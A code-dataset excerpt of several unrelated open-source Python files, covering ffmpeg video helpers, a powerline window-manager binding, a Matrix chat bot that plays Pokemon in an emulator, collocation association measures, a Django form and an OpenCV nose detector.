'''\n Cuts all frames from video by default. \n If n_frames_cut is given then specified number of frames\n are cut with equal interval between these frames. \n '''\n\n os.makedirs(output_dir, exist_ok=True) # make output dirs recursively\n out_path_pattern = output_dir + '%05d' + '.png'\n print(f'Images path pattern: {out_path_pattern}')\n\n n_frames = get_n_frames(video_path)\n\n if 0 < n_frames_cut < n_frames:\n thumbnail = int(n_frames/n_frames_cut) - 1\n\n # ffmpeg -i -vf thumbnail=, setpts=N/TB -r 1 -vframes %05d.png\n try:\n (\n ffmpeg\n .input(video_path)\n .filter('thumbnail', thumbnail)\n .filter('setpts', 'N/TB')\n .output(out_path_pattern, r=1, vframes=n_frames_cut)\n .run(capture_stdout=True, capture_stderr=True)\n )\n except ffmpeg.Error as e:\n print('stdout:', e.stdout.decode('utf8'))\n print('stderr:', e.stderr.decode('utf8'))\n else:\n # ffmpeg -i %05d.png\n try:\n (\n ffmpeg\n .input(video_path)\n .output(out_path_pattern)\n .run(capture_stdout=True, capture_stderr=True)\n )\n except ffmpeg.Error as e:\n print('stdout:', e.stdout.decode('utf8'))\n print('stderr:', e.stderr.decode('utf8'))\n\n return output_dir \n \n \ndef assemble_video(imgs_path, framerate, filename='output', output_dir='./'):\n in_path_pattern = imgs_path + '*.png'\n out_path = output_dir + filename + '.mkv'\n\n # ffmpeg -framerate 50 -i ./sr_stage_output/%15d.png -c:v libx264 -pix_fmt yuv420p /.mkv\n try:\n (\n ffmpeg\n .input(in_path_pattern, pattern_type='glob', framerate=framerate)\n .output(out_path, vcodec='libx264', pix_fmt='yuv420p')\n .run(capture_stdout=True, capture_stderr=True)\n )\n except ffmpeg.Error as e:\n print('stdout:', e.stdout.decode('utf8'))\n print('stderr:', e.stderr.decode('utf8'))\n\n\ndef split_imgs(imgs_path, output_dir, split_factor=4):\n os.makedirs(output_dir, exist_ok=True)\n\n for img_path in glob.glob(imgs_path + '*.png'):\n tiles = image_slicer.slice(img_path, split_factor, save=False)\n img_name = os.path.splitext(os.path.basename(img_path))[0]\n image_slicer.save_tiles(tiles, directory=output_dir, prefix=img_name, format=\"png\")\n\n\ndef join_imgs(imgs_path, output_dir, split_factor):\n os.makedirs(output_dir, exist_ok=True)\n base_names = set()\n for img_path in glob.glob(imgs_path + '*.png'):\n img_base_name = os.path.splitext(os.path.basename(img_path))[0].split('_')[0]\n base_names.add(img_base_name)\n\n\n for base_name in base_names:\n tiles = []\n for i, img_path in enumerate(glob.glob(imgs_path + f'{base_name}_*.png')):\n pos = image_slicer.get_image_column_row(os.path.basename(img_path))\n im = Image.open(img_path)\n position_xy = [0, 0]\n count = 0\n for a, b in zip(pos, im.size):\n position_xy[count] = a * b\n count = count + 1\n tiles.append(\n image_slicer.Tile(\n image=im,\n position=pos,\n number=i + 1,\n coords=position_xy,\n filename=img_path,\n )\n )\n \n joined_img = image_slicer.join(tiles)\n joined_img.save(output_dir + base_name + '.png')\n\n\n def copy_audio(input_video, output_video):\n \"\"\"\n Copy audio stream from one video to another\n \n :param input_video: video to take audio stream from\n :param output_video: video to add audio stream to\n \"\"\"\n subprocess.run(f\"ffmpeg -i {input_video} -vn -acodec copy tmp.mp3\")\n subprocess.run(f\"ffmpeg -y -i {output_video} -i audio.mp3 -map 0 -map 1:a -c:v copy -shortest {output_video}\")\n os.remove(\"tmp.mp3\")\n\n\nif __name__ == '__main__':\n video_path = './example.mp4'\n\n print(get_n_frames(video_path))\n print(get_resolution(video_path))\n print(get_fps(video_path))\n","repo_name":"Stakhiev-Alexander/video-processing","sub_path":"utils/video_tools.py","file_name":"video_tools.py","file_ext":"py","file_size_in_byte":4997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16933713158","text":"# vim:fileencoding=utf-8:noet\nfrom __future__ import (unicode_literals, division, absolute_import, print_function)\n\nimport sys\n\nfrom threading import Thread, Event\nfrom time import sleep\nfrom subprocess import Popen, PIPE\n\nfrom powerline import Powerline\nfrom powerline.lib.monotonic import monotonic\n\n\ndef read_to_log(pl, client):\n\tfor line in client.stdout:\n\t\tif line:\n\t\t\tpl.info(line, prefix='awesome-client')\n\tfor line in client.stderr:\n\t\tif line:\n\t\t\tpl.error(line, prefix='awesome-client')\n\tif client.wait():\n\t\tpl.error('Client exited with {0}', client.returncode, prefix='awesome')\n\n\ndef run(thread_shutdown_event=None, pl_shutdown_event=None, pl_config_loader=None,\n interval=None):\n\tpowerline = Powerline(\n\t\t'wm',\n\t\trenderer_module='pango_markup',\n\t\tshutdown_event=pl_shutdown_event,\n\t\tconfig_loader=pl_config_loader,\n\t)\n\tpowerline.update_renderer()\n\n\tif not thread_shutdown_event:\n\t\tthread_shutdown_event = powerline.shutdown_event\n\n\twhile not thread_shutdown_event.is_set():\n\t\t# powerline.update_interval may change over time\n\t\tused_interval = interval or powerline.update_interval\n\t\tstart_time = monotonic()\n\t\ts = powerline.render(side='right')\n\t\trequest = 'powerline_widget:set_markup(\\'' + s.translate({'\\'': '\\\\\\'', '\\\\': '\\\\\\\\'}) + '\\')\\n'\n\t\tclient = Popen(['awesome-client'], shell=False, stdout=PIPE, stderr=PIPE, stdin=PIPE)\n\t\tclient.stdin.write(request.encode('utf-8'))\n\t\tclient.stdin.close()\n\t\tread_to_log(powerline.pl, client)\n\t\tthread_shutdown_event.wait(max(used_interval - (monotonic() - start_time), 0.1))\n\n\nclass AwesomeThread(Thread):\n\t__slots__ = ('powerline_shutdown_event',)\n\n\tdef __init__(self, **kwargs):\n\t\tsuper(AwesomeThread, self).__init__()\n\t\tself.powerline_run_kwargs = kwargs\n\n\tdef run(self):\n\t\trun(**self.powerline_run_kwargs)\n","repo_name":"powerline/powerline","sub_path":"powerline/bindings/wm/awesome.py","file_name":"awesome.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":13989,"dataset":"github-code","pt":"67"} +{"seq_id":"35379188350","text":"#C5: Задача FIB на Rosalind\n\nwith open ('rosalind_fib.txt') as file:\n b = file.read()\n #a = dna.split(\n a = [int(symbol) for symbol in b.split()]\n \n \n n = a[0]\n k = a[1]\n print('n', n)\n print('k', k)\n \n x = tuple()\n x = [1, 1]\n \n for i in range (2, n):\n y = x[i-1] + k*x[i-2]\n x.append(y)\n \n#print( x)\nprint('Ответ',x[i])\n","repo_name":"ddrbknn/-PythonCourse","sub_path":"hw_C5.py","file_name":"hw_C5.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14338775068","text":"import logging\nimport sys\nfrom gyr import server, matrix_objects, exceptions\nfrom pyvirtualdisplay.smartdisplay import SmartDisplay\nfrom easyprocess import EasyProcess\nimport time\nimport json\nfrom io import BytesIO\n\nhandler = logging.StreamHandler(sys.stdout)\nformatter = logging.Formatter(\"%(asctime)s : %(levelname)s : %(name)s : %(message)s\")\nhandler.setFormatter(formatter)\nlogger = logging.getLogger()\nlogger.addHandler(handler)\nlogger.setLevel(logging.INFO)\n\n# Must start display before we can use Xlib via pynput\ndisp = SmartDisplay(visible=False, size=(240, 160))\ndisp.start()\nlogger.info(\"xvfb display started\")\nfrom pynput.keyboard import Key, Controller\nlogger.info(\"pynput imported and working\")\n# Have to start pulse here because mgba is being a weenie\npulse = EasyProcess(\"pulseaudio\")\npulse.start()\nlogger.info(\"pulseaudio started\")\n\nwith open(\"config.json\") as f:\n config = json.load(f)\n\nif config[\"debug\"]:\n logger.setLevel(logging.DEBUG)\n\napplication = server.Application(config[\"hs_address\"], config[\"token\"])\n\nclass MPPServer:\n\n def __init__(self, application, config):\n self.config = config\n self.config[\"room_alias\"] = (\"#\" + self.config[\"local_room_alias\"] +\n \":\" + self.config[\"hs_name\"])\n self.config[\"user_id\"] = (\"@\" + self.config[\"local_user_id\"] +\n \":\" + self.config[\"hs_name\"])\n\n self.disp = disp\n self.keyboard = Controller()\n self.api = application.Api()\n\n try:\n # when creating a room with a room alias, only local part of alias is used\n self.room_id = self.api.create_room(alias=self.config[\"local_room_alias\"],\n is_public=True)\n logger.info(\"new room created: \" + self.room_id)\n except exceptions.MatrixError:\n # if it already exists just get the room_id\n self.room_id = self.api.get_room_id(self.config[\"room_alias\"])\n logger.info(\"using existing room: \" + self.room_id)\n\n self._start_mgba()\n\n def _start_mgba(self):\n self.pkmn = EasyProcess(\"mgba -s 2 -b \" +\n self.config[\"bios_location\"] + \" \" +\n self.config[\"rom_location\"])\n self.pkmn.start()\n logger.info(\"mgba started\")\n\n self.ts = time.time()\n self.save_timers = [[index, time.time(), l, f] for index, (l, f) in enumerate(((50, Key.f1), (1000, Key.f2), (10000, Key.f3), (50000, Key.f4), (100000, Key.f5)))]\n time.sleep(5)\n self._load()\n self.send_screenshot()\n\n def __del__(self):\n self.pkmn.stop()\n self.disp.stop()\n\n def send_screenshot(self):\n if self.ts + 2 < time.time():\n self._send()\n self.ts = time.time()\n\n def _send(self):\n img = self.disp.grab()\n f = BytesIO()\n try:\n img.save(f, format=\"JPEG\", quality=50, optimize=True)\n mxc = self.api.media_upload(f.getvalue(), \"image/jpeg\")[\"content_uri\"]\n file_name = str(int(self.ts)) + \".jpg\"\n self.api.send_content(self.room_id, mxc, file_name, \"m.image\")\n logger.debug(\"sent screenshot to \" + self.room_id)\n except AttributeError:\n self.api.send_notice(self.room_id, \"Error in capturing screenshot\")\n logger.error(\"could not capture screenshot from display\")\n\n def _save(self):\n for i, t, l, f in self.save_timers:\n if t + l < time.time():\n with self.keyboard.pressed(Key.shift):\n self._press_key(f)\n logger.info(\"saved state to \" + str(f) + \" after \" + str(l) + \" seconds\")\n self.save_timers[i][1] = time.time()\n\n\n def _load(self):\n self._press_key(Key.f1)\n logger.debug(\"loaded gamestate from f1\")\n\n def room_handler(self, room_alias):\n # Only room created is #matrixplayspokemon\n logger.info(\"homeserver asked for \" + room_alias)\n return room_alias == self.config[\"room_alias\"]\n\n def user_handler(self, mxid):\n # Only user is as_user.mxid\n logger.info(\"homeserver asked for \" + mxid)\n return mxid == self.config[\"user_id\"]\n\n def transaction_handler(self, event_stream):\n for event in event_stream:\n if (event.id == self.room_id and\n event.type == \"m.room.message\" and\n event.content[\"msgtype\"] == \"m.text\"):\n content = event.content[\"body\"].lower()\n if content == \"a\":\n self._press_key(\"x\")\n elif content == \"b\":\n self._press_key(\"z\")\n elif content == \"l\":\n self._press_key(\"a\")\n elif content == \"r\":\n self._press_key(\"s\")\n elif content == \"up\":\n self._press_key(Key.up)\n elif content == \"down\":\n self._press_key(Key.down)\n elif content == \"left\":\n self._press_key(Key.left)\n elif content == \"right\":\n self._press_key(Key.right)\n elif content == \"start\":\n self._press_key(Key.enter)\n elif content == \"select\":\n self._press_key(Key.backspace)\n\n elif content == \"dump\" and self.config[\"debug\"]:\n logger.debug(\"received dump command\")\n self._dump()\n elif content == \"save\" and self.config[\"debug\"]:\n logger.debug(\"received save command\")\n with self.keyboard.pressed(Key.shift):\n self._press_key(Key.f1)\n logger.debug(\"saved current gamestate to f1\")\n elif content == \"load\" and self.config[\"debug\"]:\n logger.debug(\"received load command\")\n self._load()\n\n logger.debug(\"handled \" + event.type +\n #\" from \" + event.mxid +\n \" in \" + event.id)\n self.send_screenshot()\n self._save()\n return True\n\n def _press_key(self, key):\n self.keyboard.press(key)\n # make sure the key is pressed long enought to register with mgba\n time.sleep(0.05)\n self.keyboard.release(key)\n logger.debug(\"pressed key: \" + str(key))\n\n def _dump(self):\n self.pkmn.stop()\n logger.warning(\"mgba stdout: \" + self.pkmn.stdout)\n logger.warning(\"mgba stderr: \" + self.pkmn.stderr)\n self._start_mgba()\n\nmpp = MPPServer(application, config)\nlogger.info(\"setup complete\")\napplication.add_handlers(room_handler=mpp.room_handler,\n transaction_handler=mpp.transaction_handler,\n user_handler=mpp.user_handler,)\n","repo_name":"non-Jedi/matrix-plays-pokemon","sub_path":"mpp.py","file_name":"mpp.py","file_ext":"py","file_size_in_byte":6902,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"1323672609","text":"\"\"\"\nassociation measures\n\n\"\"\"\n\nimport numpy as np\nfrom pandas import concat\nfrom scipy.stats import norm, beta\nfrom warnings import warn\n\nfrom .binomial import choose\nfrom .frequencies import expected_frequencies, observed_frequencies\n\n\nCHOOSE = np.vectorize(choose)\n\n\ndef list_measures():\n \"\"\"Return a dictionary of implemented measures (name: measure)\n\n :return: dictionary of measures\n :rtype: dict\n\n \"\"\"\n\n return {\n # asymptotic hypothesis tests\n 'z_score': z_score,\n 't_score': t_score,\n 'log_likelihood': log_likelihood,\n 'simple_ll': simple_ll,\n # point estimates of association strength\n 'min_sensitivity': min_sensitivity,\n 'liddell': liddell,\n 'dice': dice,\n 'log_ratio': log_ratio,\n # likelihood measures\n # 'hypergeometric_likelihood': hypergeometric_likelihood,\n # 'binomial_likelihood': binomial_likelihood,\n # conservative estimates\n 'conservative_log_ratio': conservative_log_ratio,\n # information theory\n 'mutual_information': mutual_information,\n 'local_mutual_information': local_mutual_information,\n }\n\n\ndef score(df, measures=None, f1=None, N=None, N1=None, N2=None,\n freq=True, per_million=True, digits=6, disc=.001,\n signed=True, alpha=.001, correct='Bonferroni',\n boundary='normal', vocab=None, one_sided=False):\n \"\"\"Calculate a list of association measures on columns of df. Defaults\n to all available (and numerically stable) measures.\n\n Columns of df must follow one of the following notations:\n - contingency table: O11, O12, O21, O22\n - frequency signature: f, f1, f2, N\n - corpus frequencies: f1, N1, f2, N2\n Integers (f1, N, N1, N2) can also be passed as scalar arguments. See\n frequencies.observed_frequencies for further info on notation.\n\n :param DataFrame df: Dataframe with reasonably-named frequency columns\n :param list measures: names of measures (or measures)\n :param bool freq: also return observed and expected frequencies (incl. marginals)?\n :param bool per_million: return instances per million? (only if freq is True)\n :param int digits: round scores\n\n Further keyword arguments will be passed to the respective measures:\n :param float disc: discounting (or smoothing) parameter for O11 == 0 (and O21 == 0)\n :param bool signed: enforce negative values for rows with O11 < E11?\n :param float alpha: CLR: significance level\n :param str boundary: CLR: exact CI boundary of [poisson] distribution or [normal] approximation?\n :param str correct: CLR: correction type repeated tests (None|\"Bonferroni\"|\"Sidak\")\n :param int vocab: CLR: size of vocabulary (number of comparisons for correcting alpha)\n :param bool one_sided: CLR: calculate one- or two-sided confidence interval\n\n :return: association measures\n :rtype: DataFrame\n\n \"\"\"\n\n # convert input to contingency notation and calculate expected frequencies\n df = observed_frequencies(df, f1=f1, N=N, N1=N1, N2=N2)\n df = expected_frequencies(df, observed=True)\n freq_columns = df.columns\n\n # select measures\n ams_all = list_measures()\n if measures is not None:\n if isinstance(measures[0], str):\n # TODO issue warning if measure not in list\n measures = [ams_all[k] for k in measures if k in ams_all.keys()]\n else:\n measures = [ams_all[k] for k in ams_all]\n\n # calculate measures\n for measure in measures:\n df[measure.__name__] = measure(\n df, disc=disc, signed=signed, alpha=alpha,\n correct=correct, boundary=boundary, vocab=vocab, one_sided=one_sided\n )\n\n # frequency columns?\n if not freq:\n df = df.drop(freq_columns, axis=1)\n else:\n # add instances (per million)\n fac = 10**6 if per_million else 1\n name = 'ipm' if per_million else 'instances'\n df[name] = df['O11'] / df['R1'] * fac\n df[name + '_reference'] = df['O21'] / df['R2'] * fac\n df[name + '_expected'] = df['E11'] / df['R1'] * fac\n\n # rounding\n df = round(df, digits) if digits is not None else df\n\n return df\n\n\ndef calculate_measures(df, measures=None, freq=False, per_million=True, digits=None, **kwargs):\n \"\"\"deprecated since 0.2.3, use `score()` instead.\n\n \"\"\"\n warn(\n \"`calculate_measures()` is deprecated since version 0.2.3, use `score()` instead\",\n DeprecationWarning,\n stacklevel=2\n )\n return score(df, measures=measures, freq=freq, per_million=per_million, digits=digits, **kwargs)\n\n\n###############################\n# ASYMPTOTIC HYPOTHESIS TESTS #\n###############################\n\ndef z_score(df, **kwargs):\n \"\"\"\n Calculate z-score\n\n :param DataFrame df: DataFrame with columns O11 and E11\n :return: z-score\n :rtype: pd.Series\n \"\"\"\n\n am = (df['O11'] - df['E11']) / np.sqrt(df['E11'])\n\n return am\n\n\ndef t_score(df, disc=.001, **kwargs):\n \"\"\"\n Calculate t-score\n\n :param DataFrame df: pd.DataFrame with columns O11 and E11\n :param float disc: discounting (or smoothing) parameter for O11 == 0\n :return: t-score\n :rtype: pd.Series\n \"\"\"\n\n O11_disc = df['O11'].where(df['O11'] != 0, disc)\n am = (df['O11'] - df['E11']) / np.sqrt(O11_disc)\n\n return am\n\n\ndef log_likelihood(df, signed=True, **kwargs):\n \"\"\"\n Calculate log-likelihood\n\n :param DataFrame df: pd.DataFrame with columns O11..O22, E11..E22\n :param bool signed: return negative values for rows with O11 < E11?\n :return: log-likelihood\n :rtype: pd.Series\n \"\"\"\n\n # NB: discounting will not have any effect:\n # term will be multiplied by original Oij = 0\n O11_disc = df['O11'].where(df['O11'] != 0, 1)\n O12_disc = df['O12'].where(df['O12'] != 0, 1)\n O21_disc = df['O21'].where(df['O21'] != 0, 1)\n O22_disc = df['O22'].where(df['O22'] != 0, 1)\n\n ii = df['O11'] * np.log(O11_disc / df['E11'])\n ij = df['O12'] * np.log(O12_disc / df['E12'])\n ji = df['O21'] * np.log(O21_disc / df['E21'])\n jj = df['O22'] * np.log(O22_disc / df['E22'])\n\n am = 2 * (ii + ij + ji + jj)\n\n if signed:\n am = np.sign(df['O11'] - df['E11']) * am\n\n return am\n\n\ndef simple_ll(df, signed=True, **kwargs):\n \"\"\"\n Calculate simple log-likelihood\n\n :param DataFrame df: pd.DataFrame with columns O11, E11\n :param bool signed: return negative values for rows with O11 < E11?\n :return: simple log-likelihood\n :rtype: pd.Series\n \"\"\"\n\n # NB: discounting will not have any effect:\n # term will be multiplied by original Oij = 0\n O11_disc = df['O11'].where(df['O11'] != 0, 1)\n\n log_term = df['O11'] * np.log(O11_disc / df['E11'])\n\n am = 2 * (log_term - (df['O11'] - df['E11']))\n\n if signed:\n am = np.sign(df['O11'] - df['E11']) * am\n\n return am\n\n\n###########################################\n# POINT ESTIMATES OF ASSOCIATION STRENGTH #\n###########################################\n\ndef min_sensitivity(df, **kwargs):\n \"\"\"Calculate Minimum Sensitivity.\n\n :param DataFrame df: pd.DataFrame with columns O11, R1, C1\n :return: dice\n :rtype: pd.Series\n \"\"\"\n\n am1 = df['O11'] / df['R1']\n am2 = df['O11'] / df['C1']\n am = concat([am1, am2], axis=1).min(axis=1)\n\n return am\n\n\ndef liddell(df, **kwargs):\n \"\"\"Calculate Liddell\n\n :param DataFrame df: pd.DataFrame with columns O11, O12, O21, O22, C1, C2\n :return: liddell\n :rtype: pd.Series\n \"\"\"\n\n am = (df['O11'] * df['O22'] - df['O12'] * df['O21']) / df['C1'] / df['C2']\n\n return am\n\n\ndef dice(df, **kwargs):\n \"\"\"\n Calculate Dice coefficient\n\n :param DataFrame df: pd.DataFrame with columns O11, O12, O21\n :return: dice\n :rtype: pd.Series\n \"\"\"\n\n am = (2 * df['O11']) / (2 * df['O11'] + df['O12'] + df['O21'])\n\n return am\n\n\ndef log_ratio(df, disc=.5, **kwargs):\n \"\"\"Calculate log-ratio, i.e. binary logarithm of relative risk\n\n :param DataFrame df: pd.DataFrame with columns O11, O21, R1, R2\n :param float disc: discounting (or smoothing) parameter for O11 == 0 and O21 == 0\n :return: log-ratio\n :rtype: pd.Series\n \"\"\"\n\n # questionable discounting according to Hardie (2014)\n O11_disc = df['O11'].where(df['O11'] != 0, disc)\n O21_disc = df['O21'].where(df['O21'] != 0, disc)\n\n am = np.log2((O11_disc / O21_disc) / (df['R1'] / df['R2']))\n\n return am\n\n\n#######################\n# LIKELIHOOD MEASURES #\n#######################\n\ndef hypergeometric_likelihood(df, **kwargs):\n \"\"\"\n Calculate hypergeometric-likelihood\n\n :param DataFrame df: pd.DataFrame with columns O11, O12, O21, O22\n :return: hypergeometric-likelihood\n :rtype: pd.Series\n \"\"\"\n\n df = df.astype(\n {'O11': 'int32', 'O12': 'int32', 'O21': 'int32', 'O22': 'int32'}\n )\n\n np.seterr(all='ignore')\n c1 = CHOOSE(df['O11'] + df['O21'], df['O11'])\n c2 = CHOOSE(df['O12'] + df['O22'], df['O12'])\n c3 = CHOOSE(df['O11'] + df['O12'] + df['O21'] + df['O22'], df['O11'] + df['O12'])\n am = c1 / c3 * c2\n np.seterr(all='warn')\n\n return am\n\n\ndef binomial_likelihood(df, **kwargs):\n \"\"\"\n Calculate binomial-likelihood\n\n :param DataFrame df: pd.DataFrame with columns O11, O12, O21, O22, E11, N\n :return: binomial-likelihood\n :rtype: pd.Series\n \"\"\"\n\n df = df.astype(\n {'O11': 'int32', 'O12': 'int32', 'O21': 'int32', 'O22': 'int32', 'E11': 'int32'}\n )\n\n np.seterr(all='ignore')\n c1 = CHOOSE(df['N'], df['O11'])\n c2 = (df['E11'] / df['N']) ** df['O11']\n c3 = (1 - df['E11'] / df['N']) ** (df['N'] - df['O11'])\n am = c1 * c2 * c3\n np.seterr(all='warn')\n\n return am\n\n\n##########################\n# CONSERVATIVE ESTIMATES #\n##########################\n\ndef get_poisson_ci_boundary(alpha, O11, R1, O21, R2):\n \"\"\"\n Get the lower (if O11 / R1 >= O21 / R2) or upper (else) bound of\n the CI of a Poisson distribution\n\n :param float alpha: sig. level\n :param int O11:\n :param int R1:\n :param int O21:\n :param int R2:\n \"\"\"\n\n if O11 == O21 == 0:\n return 0\n\n if (O11 / R1) >= (O21 / R2):\n lower = beta.ppf(alpha, O11, O21 + 1)\n boundary = max(np.log2((R2 / R1) * lower / (1 - lower)), 0)\n else:\n upper = beta.ppf(1 - alpha, O11 + 1, O21)\n boundary = min(np.log2((R2 / R1) * upper / (1 - upper)), 0)\n\n return boundary\n\n\nBOUNDARY = np.vectorize(get_poisson_ci_boundary, otypes=[float])\n\n\ndef conservative_log_ratio(df, disc=.5, alpha=.001, boundary='normal',\n correct='Bonferroni', vocab=None,\n one_sided=False, **kwargs):\n \"\"\"\n Calculate conservative log-ratio, i.e. the binary logarithm of the\n lower bound of the confidence interval of relative risk at the\n (Bonferroni-corrected) confidence level.\n\n :param DataFrame df: pd.DataFrame with columns O11, O12, O21, O22\n :param float disc: discounting (or smoothing) parameter for O11 == 0 and O21 == 0\n :param float alpha: significance level\n :param str boundary: exact CI boundary of [poisson] distribution or [normal] approximation?\n :param str correct: correction type for several tests (None | \"Bonferroni\" | \"Sidak\")\n :param int vocab: size of vocabulary (number of comparisons for correcting alpha)\n :param bool one_sided: calculate one- or two-sided confidence interval\n\n :return: conservative log-ratio\n :rtype: pd.Series\n\n \"\"\"\n\n # correction of alpha for two-sided tests\n if not one_sided:\n alpha /= 2\n\n # Bonferroni or Sidak correction\n if correct is not None:\n if isinstance(correct, str):\n vocab = (df['O11'] >= 1).sum() if vocab is None else vocab\n if correct == 'Bonferroni':\n alpha /= vocab\n elif correct == \"Sidak\":\n alpha = 1 - (1 - alpha) ** (1 / vocab)\n # more stable alternative: alpha = 1 - exp(log(1 - alpha) / vocab)\n # doesn't make any difference in practice though, e.g. alpha = .00001, vocab = 10**10\n else:\n raise ValueError('parameter \"correct\" should either be \"Bonferroni\" or \"Sidak\".')\n else:\n raise ValueError('parameter \"correct\" should either be None or a string.')\n\n # CONFIDENCE INTERVAL\n\n # Poisson approximation (Evert 2022)\n if boundary == 'poisson':\n clrr = BOUNDARY(alpha, df['O11'], df['R1'], df['O21'], df['R2'])\n\n # Normal approximation (Hardie 2014)\n elif boundary == 'normal':\n # - questionable discounting according to Hardie (2014)\n O11_disc = df['O11'].where(df['O11'] != 0, disc)\n O21_disc = df['O21'].where(df['O21'] != 0, disc)\n # - compute natural logarithm of relative risk so we can use estimate for standard error of log(RR)\n lrr = np.log((O11_disc / O21_disc) / (df['R1'] / df['R2']))\n # - asymptotic standard deviation of log(RR) according to Wikipedia\n lrr_sd = np.sqrt(1/O11_disc + 1/O21_disc - 1/df['R1'] - 1/df['R2'])\n # - calculate and apply appropriate boundary\n z_factor = norm.ppf(1 - alpha)\n ci_min = (lrr - lrr_sd * z_factor).clip(lower=0)\n ci_max = (lrr + lrr_sd * z_factor).clip(upper=0)\n clrr = ci_min.where(lrr >= 0, ci_max)\n clrr /= np.log(2) # adjust to binary logarithm\n\n return clrr\n\n\n######################\n# INFORMATION THEORY #\n######################\n\ndef mutual_information(df, disc=.001, **kwargs):\n \"\"\"\n Calculate Mutual Information\n\n :param DataFrame df: pd.DataFrame with columns O11 and E11\n :param float disc: discounting (or smoothing) parameter for O11 == 0\n :return: mutual information\n :rtype: pd.Series\n \"\"\"\n\n O11_disc = df['O11'].where(df['O11'] != 0, disc)\n am = np.log10(O11_disc / df['E11'])\n\n return am\n\n\ndef local_mutual_information(df, **kwargs):\n \"\"\"\n Calculate Local Mutual Information\n\n :param DataFrame df: pd.DataFrame with columns O11 and E11\n :return: mutual information\n :rtype: pd.Series\n \"\"\"\n\n # NB: discounting will not have any effect:\n # term will be multiplied by original Oij = 0\n O11_disc = df['O11'].where(df['O11'] != 0, 1)\n am = df['O11'] * np.log10(O11_disc / df['E11'])\n\n return am\n","repo_name":"fau-klue/pandas-association-measures","sub_path":"association_measures/measures.py","file_name":"measures.py","file_ext":"py","file_size_in_byte":14244,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"28581776245","text":"from model.group import Group\nimport random\nimport string\nimport os.path\nimport jsonpickle\nimport getopt\nimport sys\n\n\ntry:\n opts, args = getopt.getopt(sys.argv[1:], \"n:f:\", [\"number of groups\", \"file\"])\nexcept getopt.GetoptError as err:\n getopt.usage()\n sys.exit(2)\n\nn = 5\nf = \"data/groups.json\"\n\nfor o, a in opts:\n if o == \"-n\":\n n = int(a)\n elif o == \"-f\":\n f = a\n\n\ndef random_string(prefix, maxlen):\n # Символы, кот используются в случайно сгенерированной строке и добавляем 10 пробелов\n symbols = string.ascii_letters + string.digits + string.punctuation + \" \"*10\n # Случайным образом выбираем символ из заданной строки. Будет сгенерирована случайная длина,\n # не превышающая максимальную. Все это превращаем в строку\n return prefix + \"\".join([random.choice(symbols) for i in range(random.randrange(maxlen))])\n\n\ntestdata = [Group(name=\"\", header=\"\", footer=\"\")] + [\n Group(name=random_string(\"name\", 10), header=random_string(\"header\", 20), footer=random_string(\"footer\", 20))\n for i in range(n)\n ]\n\nfile = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\", f)\n\nwith open(file, \"w\") as out:\n jsonpickle.set_encoder_options(\"json\", indent=2)\n out.write(jsonpickle.encode(testdata))","repo_name":"TikhonovaAnna/python_training1","sub_path":"generator/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73873383573","text":"from django import forms\n\nfrom .models import Update as UpdateModel\n\n\nclass UpdateModelFrom(forms.ModelForm):\n class Meta:\n model = UpdateModel\n fields = [\n 'user',\n 'title',\n 'image',\n 'content'\n ]\n\n def clean(self, *args, **kwargs):\n title = self.cleaned_data.get('title' or None)\n image = self.cleaned_data.get('image' or None)\n content = self.cleaned_data.get('content' or None)\n if title is None and content is None:\n raise forms.ValidationError('Title and content is required!')\n return super().clean(*args, **kwargs)\n","repo_name":"jakiiii/REST-Framework","sub_path":"updates/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26800000865","text":"import cv2\nimport numpy as np \n\nnose_cascade = cv2.CascadeClassifier('C:\\\\Users\\\\sauln\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python37\\\\Lib\\\\site-packages\\\\cv2\\\\data\\\\haarcascade_mcs_nose.xml')\nif nose_cascade.empty():\n raise IOError('No se puede cargar el archivo clasificador de nariz')\ncap = cv2.VideoCapture(0)\nds_factor = 0.5\n\nwhile True:\n ret, frame = cap.read()\n frame = cv2.resize(frame, None, fx=ds_factor, fy=ds_factor, interpolation=cv2.INTER_LINEAR)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n nose_rects = nose_cascade.detectMultiScale(gray, 1.3, 5)\n for (x, y, w, h) in nose_rects:\n cv2.rectangle(frame, (x,y), (x+w, y+h), (0,255,0), 3)\n break\n cv2.imshow('Detector de nariz', frame)\n c = cv2.waitKey(1)\n if c == 27:\n break\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"SaulNunez/Curso-IA","sub_path":"Ejercicio36-DetectarNariz.py","file_name":"Ejercicio36-DetectarNariz.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41391930155","text":"\"\"\" Anything to do with threading and background maintainance \"\"\"\nfrom concurrent.futures import ThreadPoolExecutor\nimport threading\nimport time\n\nfrom .const import Config\nfrom .log import l\nfrom .hashing import int2bytes\n\npool = ThreadPoolExecutor(max_workers=Config.WORKERS)\n\n\nclass ThreadPoolMixIn:\n \"\"\"Mix-in class to handle each request in a new thread.\"\"\"\n\n # Decides how threads will act upon termination of the\n # main process\n daemon_threads = False\n\n def __init__(self):\n self.idle = threading.Event()\n\n def process_request_thread(self, request, client_address):\n \"\"\"Same as in BaseServer but as a thread.\n\n In addition, exception handling is done here.\n\n \"\"\"\n try:\n self.idle.clear()\n self.finish_request(request, client_address)\n self.shutdown_request(request)\n except: # noqa\n l.exception(\"Exception in request handler\")\n self.handle_error(request, client_address)\n self.shutdown_request(request)\n finally:\n self.idle.set()\n\n def process_request(self, request, client_address):\n \"\"\"Submit a new job to process the request.\"\"\"\n pool.submit(self.process_request_thread, request, client_address)\n\n\ndef 